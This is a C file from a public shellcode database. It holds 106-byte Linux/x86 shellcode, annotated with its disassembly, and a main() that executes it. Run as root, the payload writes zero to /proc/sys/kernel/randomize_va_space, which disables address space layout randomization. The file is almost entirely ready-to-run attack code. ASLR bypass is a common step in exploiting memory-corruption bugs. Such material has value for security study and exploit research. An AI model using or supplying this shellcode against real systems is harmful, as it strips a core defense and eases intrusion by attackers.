/*
Title:	 Linux/x86 - Disable randomize stack addresse - 106 bytes
         (Set randomize_va_space to zero) 
Author:  Jonathan Salwan <submit (!) shell-storm.org>
Web:     http://www.shell-storm.org
Twitter: http://twitter.com/jonathansalwan

!Database of Shellcodes http://www.shell-storm.org/shellcode/

Date:	 2010-05-25
Tested:  Linux 2.6.33 - i686

! You need root euid
*/



#include <stdio.h>

char sc[] = "\x31\xdb"                // xor    %ebx,%ebx
            "\x6a\x61"                // push   $0x61
            "\x89\xe3"                // mov    %esp,%ebx
            "\xb0\x0a"                // mov    $0xa,%al
            "\xcd\x80"                // int    $0x80
            "\x31\xdb"                // xor    %ebx,%ebx
            "\x6a\x65"                // push   $0x65
            "\x66\x68\x61\x63"        // pushw  $0x6361
            "\x68\x61\x5f\x73\x70"    // push   $0x70735f61
            "\x68\x7a\x65\x5f\x76"    // push   $0x765f657a
            "\x68\x64\x6f\x6d\x69"    // push   $0x696d6f64
            "\x68\x2f\x72\x61\x6e"    // push   $0x6e61722f
            "\x68\x72\x6e\x65\x6c"    // push   $0x6c656e72
            "\x68\x73\x2f\x6b\x65"    // push   $0x656b2f73
            "\x68\x63\x2f\x73\x79"    // push   $0x79732f63
            "\x68\x2f\x70\x72\x6f"    // push   $0x6f72702f
            "\x89\xe3"                // mov    %esp,%ebx
            "\x30\xc0"                // xor    %al,%al
            "\xb0\x11"                // mov    $0x11,%al
            "\x31\xc9"                // xor    %ecx,%ecx
            "\x66\xb9\x41\x04"        // mov    $0x441,%cx
            "\x31\xd2"                // xor    %edx,%edx
            "\x66\xba\xa4\x01"        // mov    $0x1a4,%dx
            "\x31\xc0"                // xor    %eax,%eax
            "\xb0\x05"                // mov    $0x5,%al
            "\xcd\x80"                // int    $0x80
            "\x89\xc3"                // mov    %eax,%ebx
            "\x31\xc9"                // xor    %ecx,%ecx
            "\x66\x68\x30\x0a"        // pushw  $0xa30
            "\x89\xe1"                // mov    %esp,%ecx
            "\x31\xd2"                // xor    %edx,%edx
            "\xb2\x02"                // mov    $0x2,%dl
            "\x31\xc0"                // xor    %eax,%eax
            "\xb0\x04"                // mov    $0x4,%al
            "\xcd\x80"                // int    $0x80
            "\xb0\x01"                // mov    $0x1,%al
            "\xcd\x80";               // int    $0x80

int main(void)
{
        fprintf(stdout,"Length: %d\n",strlen(sc));
        (*(void(*)()) sc)();

return 0;
}
